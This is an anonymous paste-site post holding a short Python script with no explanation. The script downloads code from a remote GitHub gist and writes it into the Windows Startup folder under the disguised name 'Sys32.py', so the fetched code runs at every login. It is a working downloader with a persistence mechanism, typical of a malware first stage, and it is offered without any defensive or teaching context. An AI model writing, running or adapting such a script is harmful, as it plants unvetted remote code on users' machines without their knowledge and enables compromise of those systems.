- import os
- import requests
- nym = 'autoStart.py'
- # Function to get code from Pastebin
- def get_code_from_pastebin(pastebin_url):
- response = requests.get(pastebin_url)
- return response.text
- appdata_path = os.getenv('APPDATA')
- startup_path = os.path.join(appdata_path, 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
- pastebin_url = "https://gist.githubusercontent.com/Daminismean/15202f6e94215c7e12c54dafa34394fc/raw/"
- code = get_code_from_pastebin(pastebin_url)
- with open(f"{startup_path}/Sys32.py", 'w') as f:
- f.write(code)
Untitled
Posted by Anonymous on Thu 19th Sep 2024 04:01
raw | new post
Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.